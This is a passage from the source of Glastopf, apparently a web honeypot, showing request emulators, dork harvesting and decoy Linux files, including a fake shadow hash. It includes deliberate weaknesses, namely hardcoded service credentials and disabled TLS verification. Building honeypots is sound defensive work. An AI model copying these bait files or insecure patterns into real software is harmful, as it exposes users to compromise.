data_dir 26 | self.emulator_dir = os.path.join(package_directory, 'emulators') 27 | 28 | def handle(self, attack_event): 29 | pass 30 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/handlers/emulators/__init__.py -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/comments.py: -------------------------------------------------------------------------------- 1 | import os 2 | from random import choice 3 | import codecs 4 | from urlparse import parse_qs 5 | from string import Template 6 | import cgi 7 | from glastopf.modules.handlers import base_emulator 8 | 9 | import glastopf.modules.processing.profiler as profiler 10 | 11 | 12 | class CommentPoster(base_emulator.BaseEmulator): 13 | MAX_COMMENT_LEN = 2048 14 | MAX_FILE_LEN = 33816700 # ~ 3MB 15 | 16 | def __init__(self, data_dir): 17 | super(CommentPoster, self).__init__(data_dir) 18 | 19 | def html_escape(self, comment): 20 | return cgi.escape(comment) 21 | 22 | def handle(self, attack_event): 23 | # TODO: Use the unknown emulators _get_template function. 24 | pages_path = os.path.join(self.data_dir, 'dork_pages') 25 | dork_page_list = os.listdir(pages_path) 26 | dork_page = choice(dork_page_list) 27 | ip_address = attack_event.source_addr[0] 28 | 29 | comments_file = os.path.join(self.data_dir, 'comments.txt') 30 | 31 | with codecs.open(os.path.join(pages_path, dork_page)) as dork_page: 32 | try: 33 | comment = (parse_qs(attack_event.http_request.request_body) 34 | ['comment'][0]) 35 | clean_comment = self.html_escape(comment.encode('ascii', 'backslashreplace')) 36 | clean_comment = "

" + clean_comment 37 | comment = "

" + comment 38 | except KeyError: 39 | comment = "" 40 | clean_comment = "" 41 | else: 42 | 43 | # overwrite the comments file if its size exceeds the max length 44 | if os.path.isfile(comments_file): 45 | if os.stat(comments_file).st_size > CommentPoster.MAX_FILE_LEN: 46 | with codecs.open(comments_file, "w", "utf-8") as comments_txt: 47 | comments_txt.write('') 48 | 49 | # store the comment only if its size does not exceed the max length 50 | if len(clean_comment) <= CommentPoster.MAX_COMMENT_LEN: 51 | with codecs.open(comments_file, "a", "utf-8") as comments_txt: 52 | comments_txt.write(clean_comment) 53 | profiler.Profiler.add_comment(ip_address, comment) 54 | 55 | if os.path.isfile(comments_file): 56 | with codecs.open(comments_file, "r", "utf-8") as comments_txt: 57 | general_comments = comments_txt.read() 58 | else: 59 | general_comments = '' 60 | 61 | ip_comments = profiler.Profiler.get_comments(ip_address) 62 | # TODO: handle the ip_comments in the desired way 63 | display_comments = general_comments.decode('string_escape') 64 | template = Template(dork_page.read()) 65 | response = template.safe_substitute(login_msg="", comments=display_comments) 66 | attack_event.http_request.set_response(response) 67 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/dork_pages/.placeholder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/handlers/emulators/data/dork_pages/.placeholder -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/favicon/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/handlers/emulators/data/favicon/favicon.ico -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/robots/robots.txt: -------------------------------------------------------------------------------- 1 | User-agent: * 2 | Disallow: -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/server_files/phpMyAdmin/INSTALL: -------------------------------------------------------------------------------- 1 | $Id: INSTALL,v 2.0 2003/11/18 15:20:36 nijel Exp $ 2 | 3 | phpMyAdmin - Installation 4 | ------------------------- 5 | 6 | Please have a look to the Documentation.txt or 7 | Documentation.html files. 8 | 9 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/server_files/phpMyAdmin/README: -------------------------------------------------------------------------------- 1 | $Id: README,v 2.39.2.2 2005/12/07 08:14:24 lem9 Exp $ 2 | 3 | phpMyAdmin - Readme 4 | =================== 5 | 6 | A set of PHP-scripts to manage MySQL over the web. 7 | 8 | Version 2.7.0-pl1 9 | ----------------- 10 | http://www.phpmyadmin.net/ 11 | 12 | Copyright (C) 1998-2000 Tobias Ratschiller 13 | Copyright (C) 2001-2005 Marc Delisle 14 | Olivier Müller 15 | Robin Johnson 16 | Alexander M. Turek 17 | Michal Cihar 18 | Garvin Hicking 19 | Michael Keck 20 | [check Documentation.txt/.html file for more details] 21 | 22 | This program is free software; you can redistribute it and/or modify 23 | it under the terms of the GNU General Public License version 2, 24 | as published by the Free Software Foundation. 25 | 26 | This program is distributed in the hope that it will be useful, 27 | but WITHOUT ANY WARRANTY; without even the implied warranty of 28 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 29 | GNU General Public License for more details. 30 | 31 | You should have received a copy of the GNU General Public License 32 | along with this program; if not, write to the Free Software 33 | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 34 | 35 | Requirements: 36 | php 4.1.0 or later 37 | MySQL 3.23.32 or later 38 | a web-browser (doh!) 39 | 40 | Summary: 41 | phpMyAdmin is intended to handle the administration of MySQL over the WWW. 42 | Currently it can: 43 | - create and drop databases 44 | - create, copy, drop and alter tables 45 | - delete, edit and add fields 46 | - execute any SQL-statement, even batch-queries 47 | - manage keys on fields 48 | - load text files into tables 49 | - create and read dumps of tables 50 | - export and import CSV data 51 | - administer one single database as well as a whole database server 52 | - communicate in 50 different languages 53 | 54 | Download: 55 | You can get the newest version at http://www.phpmyadmin.net/. 56 | 57 | Credits: 58 | Please see the Documentation.txt/.html file. 59 | 60 | Installation: 61 | Please see the Documentation.txt/.html file. 62 | 63 | ChangeLog: 64 | Now in ChangeLog 65 | 66 | Documentation: 67 | Basic documentation available in Documentation.txt/.html 68 | 69 | Support: 70 | See reference about support forums under http://www.phpmyadmin.net/ 71 | 72 | 73 | Enjoy! 74 | The phpMyAdmin Devel team 75 | 76 | 77 | PS: Please, don't send us emails with question like "How do I compile 78 | PHP with MySQL-support". We just don't have the time to be your 79 | free helpdesk. 80 | Please send your questions to the appropriate mailinglists / forums. 81 | Before contacting us, please read the Documentation.html (esp. the 82 | FAQ part). 83 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/style/style.css: -------------------------------------------------------------------------------- 1 | body { 2 | font:14px/17px Arial, Helvetica, sans-serif; 3 | color:#000000; 4 | background:#ccc; 5 | padding:40px 20px 20px 20px; 6 | } 7 | fieldset { 8 | background:#9da2a6; 9 | padding:10px; 10 | border:1px solid #aaa; 11 | border-color:#fff #666661 #666661 #fff; 12 | margin-bottom:36px; 13 | width:80%; 14 | } 15 | input, textarea, select { 16 | font:14px/14px Arial, Helvetica, sans-serif; 17 | padding:0; 18 | } 19 | fieldset.action { 20 | background:#C9BE62; 21 | border-color:#e5e5e5 #797c80 #797c80 #e5e5e5; 22 | margin-top:-20px; 23 | } 24 | label { 25 | font-size:14px; 26 | font-weight:bold; 27 | color:#666; 28 | } 29 | label.opt { 30 | font-weight:normal; 31 | } 32 | dl { 33 | clear:both; background:#9da2a6 34 | } 35 | dt { 36 | float:left; 37 | text-align:right; 38 | width:90px; 39 | line-height:25px; 40 | margin:0 10px 10px 0; 41 | } 42 | dd { 43 | float:left; 44 | width:475px; 45 | line-height:25px; 46 | margin:0 0 10px 0; 47 | } 48 | #footer { 49 | font-size:11px; 50 | } 51 | 52 | #container { 53 | width:80%; margin:0 auto; 54 | } 55 | 56 | #header { 57 | background: white; 58 | height: 60px; 59 | } 60 | 61 | #h1 { 62 | margin: 0; 63 | padding: 0; 64 | } 65 | 66 | #h2 { 67 | font:16px/18px 68 | margin: 0; 69 | padding: 0; 70 | } 71 | a:link, a:visited, a:active, a:hover{ 72 | color:#000000; 73 | text-decoration:none; 74 | cursor:text; 75 | } -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/templates/base.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | {% block title %}Title{% endblock %} 5 | {% block meta_tags -%}{%- endblock %} 6 | 7 | 8 | 9 | 10 | 11 |
12 |

{% block page_title %}Title{% endblock %}

13 | 14 |
15 | 16 |
17 |

{% block form_title %}Login Form{% endblock %}

18 |
{% block login_msg %}Please fill in your credentials{% endblock %}
19 | 20 | 21 |
22 | 23 | 24 |
25 | 26 |
27 | 28 |
29 | 30 |

{% block resource_title %}My Resource{% endblock %}

31 |

{% block bodystr %}{% endblock %}

32 | 33 |
34 | 35 |
36 |

{% block comments_title %}Blog Comments{% endblock %}

37 | 38 |
39 | 40 |
41 | 42 |
43 | 44 |
45 | 46 |
{% block comments %}This is a really great entry{% endblock %}
47 | 48 |
49 | 50 | 51 |
52 | 53 | 54 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block title %} {{ title }} {% endblock %} 3 | {% block meta_tags -%} 4 | {%- if google_meta -%} 5 | 6 | {%- endif %} 7 | {%- if bing_meta -%} 8 | 9 | {%- endif %} 10 | {%- endblock %} 11 | {% block page_title %} {{ title }} {% endblock %} 12 | {% block form_url %}{{ target }}{% endblock %} 13 | {% block bodystr %} {{ body }} {% endblock %} 14 | {% block footer %} {{ footer }} {% endblock %} 15 | {% block login_msg %}{% raw %} $login_msg {% endraw %}{% endblock %} 16 | {% block comments %}{% raw %} $comments {% endraw %}{% endblock %} 17 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/virtualdocs/.placeholder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/handlers/emulators/data/virtualdocs/.placeholder -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/virtualdocs/linux/.placeholder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/handlers/emulators/data/virtualdocs/linux/.placeholder -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/virtualdocs/linux/etc/.placeholder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/handlers/emulators/data/virtualdocs/linux/etc/.placeholder -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/virtualdocs/linux/etc/group: -------------------------------------------------------------------------------- 1 | root:x:0: 2 | daemon:x:1: 3 | bin:x:2: 4 | sys:x:3: 5 | adm:x:4: 6 | tty:x:5: 7 | disk:x:6: 8 | lp:x:7: 9 | mail:x:8: 10 | news:x:9: 11 | uucp:x:10: 12 | man:x:12: 13 | proxy:x:13: 14 | kmem:x:15: 15 | dialout:x:20: 16 | fax:x:21: 17 | voice:x:22: 18 | cdrom:x:24: 19 | floppy:x:25: 20 | tape:x:26: 21 | sudo:x:27: 22 | audio:x:29: 23 | dip:x:30: 24 | www-data:x:33: 25 | backup:x:34: 26 | operator:x:37: 27 | list:x:38: 28 | irc:x:39: 29 | src:x:40: 30 | gnats:x:41: 31 | shadow:x:42: 32 | utmp:x:43: 33 | video:x:44: 34 | sasl:x:45: 35 | plugdev:x:46: 36 | staff:x:50: 37 | games:x:60: 38 | users:x:100: 39 | nogroup:x:65534: 40 | libuuid:x:101: 41 | crontab:x:102: 42 | ssh:x:103: -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/virtualdocs/linux/etc/passwd: -------------------------------------------------------------------------------- 1 | root:x:0:0:root:/root:/bin/bash 2 | daemon:x:1:1:daemon:/usr/sbin:/bin/sh 3 | bin:x:2:2:bin:/bin:/bin/sh 4 | sys:x:3:3:sys:/dev:/bin/sh 5 | sync:x:4:65534:sync:/bin:/bin/sync 6 | games:x:5:60:games:/usr/games:/bin/sh 7 | man:x:6:12:man:/var/cache/man:/bin/sh 8 | lp:x:7:7:lp:/var/spool/lpd:/bin/sh 9 | mail:x:8:8:mail:/var/mail:/bin/sh 10 | news:x:9:9:news:/var/spool/news:/bin/sh 11 | uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh 12 | proxy:x:13:13:proxy:/bin:/bin/sh 13 | www-data:x:33:33:www-data:/var/www:/bin/sh 14 | backup:x:34:34:backup:/var/backups:/bin/sh 15 | list:x:38:38:Mailing List Manager:/var/list:/bin/sh 16 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh 17 | nobody:x:65534:65534:nobody:/nonexistent:/bin/sh 18 | libuuid:x:100:101::/var/lib/libuuid:/bin/sh 19 | sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/virtualdocs/linux/etc/shadow: -------------------------------------------------------------------------------- 1 | root:$1$NPtfc69G$W/VHQERQ4SqDahjTqQMUr4:6723:0:99999:7::: 2 | daemon:*:6723:0:99999:7::: 3 | bin:*:6723:0:99999:7::: 4 | sys:*:6723:0:99999:7::: 5 | sync:*:6723:0:99999:7::: 6 | games:*:6723:0:99999:7::: 7 | man:*:6723:0:99999:7::: 8 | lp:*:6723:0:99999:7::: 9 | mail:*:6723:0:99999:7::: 10 | news:*:6723:0:99999:7::: 11 | uucp:*:6723:0:99999:7::: 12 | proxy:*:6723:0:99999:7::: 13 | www-data:*:6723:0:99999:7::: 14 | backup:*:6723:0:99999:7::: 15 | list:*:6723:0:99999:7::: 16 | gnats:*:6723:0:99999:7::: 17 | nobody:*:6723:0:99999:7::: 18 | libuuid:!:6723:0:99999:7::: 19 | sshd:*:6723:0:99999:7::: -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/virtualdocs/linux/proc/.placeholder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/handlers/emulators/data/virtualdocs/linux/proc/.placeholder -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/data/virtualdocs/linux/proc/self/environ: -------------------------------------------------------------------------------- 1 | TERM=xterm 2 | SHELL=/bin/sh 3 | USER=www-data 4 | LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.svgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36: 5 | PATH=/usr/local/bin:/usr/bin:/bin:/usr/games 6 | MAIL=/var/mail/www-data 7 | PWD=/root 8 | LANG=de_DE@euro 9 | PS1=\h:\w\$ 10 | HOME=/var/www 11 | SHLVL=2 12 | LANGUAGE=en_DE:en_US:en_GB:en 13 | LOGNAME=www-data -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/dork_list/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/handlers/emulators/dork_list/__init__.py -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/dork_list/comments.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/handlers/emulators/dork_list/comments.txt -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/dork_list/database_mongo.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import re 19 | import warnings 20 | from datetime import datetime 21 | 22 | import logging 23 | 24 | logger = logging.getLogger(__name__) 25 | 26 | try: 27 | from pymongo import MongoClient, uri_parser 28 | except ImportError: 29 | logger.warn('Unable to import module pymongo') 30 | 31 | 32 | class Database(object): 33 | """ 34 | Responsible for all dork related communication with the glastopf mongo database. 35 | """ 36 | 37 | def __init__(self, connection_string): 38 | 39 | uri_dict = uri_parser.parse_uri(connection_string) 40 | if not uri_dict['database']: 41 | raise Exception("Invalid Mongo URI. Database name must be specified.") 42 | 43 | try: 44 | with warnings.catch_warnings(record=True): 45 | self.client = MongoClient(connection_string) 46 | self.db = self.client[uri_dict['database']] 47 | except: 48 | logger.exception("Unable to connect to MongoDB service.") 49 | raise 50 | 51 | def select_data(self, pattern="rfi"): 52 | """ 53 | Selects URLs from the events database filtered by attack module. 54 | """ 55 | url_list = [] 56 | 57 | data = self.db.events.find({'pattern': pattern}) 58 | data = list(data.distinct('request_url')) 59 | 60 | self.num_distinct_results = len(data) 61 | 62 | for request in data: 63 | if request: 64 | url = request.split('=', 1)[0] 65 | url_list.append(url) 66 | return url_list 67 | 68 | def select_entry(self, starts_with): 69 | """ 70 | Selects URL from main database filterned by name. 71 | """ 72 | regx = re.compile(starts_with + ".*", re.IGNORECASE) 73 | urls = list(self.db.events.find({'request_url': regx})) 74 | return urls 75 | 76 | def insert_dorks(self, insert_list): 77 | if len(insert_list) == 0: 78 | return 79 | 80 | for item in insert_list: 81 | collection = item['table'] 82 | self.db[collection].update({'content': item['content']}, 83 | {'$set': {'lastime': datetime.now()}, 84 | '$inc': {'count': 1}}, upsert=True) 85 | 86 | def get_dork_list(self, collection, starts_with=None): 87 | """ 88 | Selects dork from dork collection. 89 | """ 90 | if starts_with: 91 | regx = re.compile(starts_with + "^{0}".format(starts_with), re.IGNORECASE) 92 | dorks = list(self.db[collection].find({'content': regx}, 93 | {'content': 1, '_id': 0})) 94 | else: 95 | dorks = list(self.db[collection].find({}, {'content': 1, '_id': 0})) 96 | 97 | return_list = [] 98 | for item in dorks: 99 | return_list.append(item['content']) 100 | 101 | return return_list 102 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/dork_list/dork_file_processor.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import codecs 19 | import re 20 | import os 21 | import unicodedata 22 | 23 | package_directory = os.path.dirname(os.path.abspath(__file__)) 24 | 25 | 26 | class DorkFileProcessor(object): 27 | def __init__(self, dorkdb=None, dorks_file=os.path.join(package_directory, 'data/dorks.txt')): 28 | self.dorkdb = dorkdb 29 | self.dorks_file = dorks_file 30 | 31 | def get_lines(self): 32 | dork_lines = [] 33 | with codecs.open(self.dorks_file, "r", "utf-8") as dork_list: 34 | for dork_line in dork_list.readlines(): 35 | dork_line = dork_line.strip() 36 | if dork_line != "": 37 | dork_lines.append(unicodedata.normalize('NFKD', dork_line).encode('ascii', 'ignore')) 38 | return dork_lines 39 | 40 | @classmethod 41 | def extract_term(cls, dork_line): 42 | if dork_line.startswith('"'): 43 | term = re.match('"([^"]+)"', dork_line) 44 | if term: 45 | term = term.group(1) 46 | elif dork_line.startswith("'"): 47 | term = re.match("'([^']+)'", dork_line) 48 | if term: 49 | term = term.group(1) 50 | else: 51 | term = dork_line.split(" ")[0] 52 | if term: 53 | term = term.strip() 54 | return term 55 | 56 | def parse_lines(self, dork_lines, ignores): 57 | search_opers = ('intitle:', 'inurl:', 'intext:', 'filetype:', 'ext:', 'allinurl:') 58 | inserts = [] 59 | for dork_line in dork_lines: 60 | operator = next((oper for oper in search_opers if oper in dork_line), None) 61 | if operator: 62 | dork_line_split = dork_line.partition(operator)[2] 63 | table = operator[:-1] 64 | if table not in ignores: 65 | inserts.append({'table': table, 'content': self.extract_term(dork_line_split)}) 66 | return inserts 67 | 68 | def process_dorks(self, ignore=()): 69 | dork_lines = self.get_lines() 70 | return self.parse_lines(dork_lines, ignore) 71 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/dork_list/mnem_service.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Johnny Vestergaard 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import requests 19 | from requests.exceptions import Timeout, ConnectionError 20 | import json 21 | import logging 22 | 23 | logger = logging.getLogger(__name__) 24 | 25 | 26 | class Mnem_Service(object): 27 | #yes google hackers, these credentials are left here by purpose! 28 | @classmethod 29 | def get_dorks(cls, username='glastopf', password='glastopf', limit=1000, timeout=5): 30 | base_url = 'https://mnemosyne.honeycloud.net:8282' 31 | 32 | sess = requests.Session() 33 | try: 34 | #login and store session cookie 35 | payload = {'username': username, 'password': password} 36 | response = sess.post(base_url + '/login', payload, timeout=timeout, verify=False) 37 | if response.status_code != 200: 38 | logger.warning("Error while requesting session cookie from mnemosyne: {0}".format(response.status_code)) 39 | return [] 40 | 41 | #get the dorks 42 | response = sess.get(base_url + '/api/v1/aux/dorks?limit={0}'.format(limit), timeout=timeout, verify=False) 43 | 44 | if response.status_code == 200: 45 | dorks = json.loads(response.text)['dorks'] 46 | logger.debug("Successfully retrieved {0} dorks from the mnemosyne service.".format(len(dorks))) 47 | else: 48 | logger.warning("Error while requesting dorks from mnemosyne: {0}".format(response.status_code)) 49 | return [] 50 | except (Timeout, ConnectionError) as e: 51 | logger.warning("Error while communication with mnemosyne: {0}".format(e)) 52 | return [] 53 | 54 | #align with glastopf db setup 55 | return_list = [] 56 | for item in dorks: 57 | return_list.append({'content': item['content'], 58 | 'table': item['type']}) 59 | return return_list 60 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/dork_list/remote_exploits.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import os 19 | import re 20 | import tarfile 21 | 22 | 23 | class ExploitDB(object): 24 | def __init__(self, path='modules/handlers/emulators/dork_list/archive/platforms/php/webapps'): 25 | self.path = path 26 | self.vuln_list = [] 27 | self.rfi_list = [] 28 | 29 | def _extract_archive(self): 30 | if not os.path.exists(self.path.rsplit('/', 3)[0]): 31 | if self.path.split('/', 1)[0] == 'archive': 32 | tar = tarfile.open("archive.tar.gz") 33 | tar.extractall() 34 | else: 35 | tar = tarfile.open("modules/handlers/emulators/dork_list/archive.tar.gz") 36 | tar.extractall("modules/handlers/emulators/dork_list/") 37 | tar.close() 38 | 39 | def _get_exploits(self): 40 | return os.listdir(self.path) 41 | 42 | @classmethod 43 | def _extract_paths(cls, line): 44 | pattern = u'(http[s]?://[a-z]+?\.?[a-z]*)(/[^\s]+?\.[a-z]+)(\?)([^\s]+=[^\s]+)' 45 | regx = re.compile(pattern, re.IGNORECASE) 46 | matches = re.findall(regx, line) 47 | return [match[1] for match in matches if len(match[1]) > 0] 48 | 49 | def _select_line(self, line): 50 | if "/" in line: 51 | if "rfi" in line.lower(): 52 | [self.rfi_list.append(vuln) for vuln in self._extract_paths(line)] 53 | else: 54 | [self.vuln_list.append(vuln) for vuln in self._extract_paths(line)] 55 | 56 | def _process_exploits(self): 57 | exploits = self._get_exploits() 58 | while len(exploits) > 0: 59 | exploit = exploits.pop() 60 | with open(os.path.join(self.path, exploit), 'r') as exploit_fp: 61 | lines = exploit_fp.readlines() 62 | [self._select_line(line) for line in lines] 63 | 64 | @classmethod 65 | def _get_archive(cls): 66 | # http://www.exploit-db.com/archive.tar.bz2 67 | pass 68 | 69 | def get_dorks(self): 70 | self._get_archive() 71 | self._extract_archive() 72 | self._process_exploits() 73 | self.vuln_list = list(set(self.vuln_list)) 74 | self.rfi_list = list(set(self.rfi_list)) 75 | 76 | 77 | if __name__ == '__main__': 78 | e = ExploitDB(path='archive/platforms/php/webapps') 79 | e.get_dorks() 80 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/dummy.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | from glastopf.modules.handlers import base_emulator 19 | 20 | 21 | class DummyHandler(base_emulator.BaseEmulator): 22 | def __init__(self, data_dir): 23 | super(DummyHandler, self).__init__(data_dir) 24 | 25 | def handle(self, attack_event): 26 | attack_event.http_request.set_response("dummy response") 27 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/favicon_ico.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | from glastopf.modules.handlers import base_emulator 19 | import os 20 | 21 | 22 | class FaviconHandler(base_emulator.BaseEmulator): 23 | def __init__(self, data_dir): 24 | super(FaviconHandler, self).__init__(data_dir) 25 | 26 | def handle(self, attack_event): 27 | with open(os.path.join(self.data_dir, 'favicon/favicon.ico'), 'r') as favicon: 28 | data = favicon.read() 29 | attack_event.http_request.set_response(data, headers=(('Content-Type, image/x-icon'),)) 30 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/file_server.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Phani Vadrevu 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for 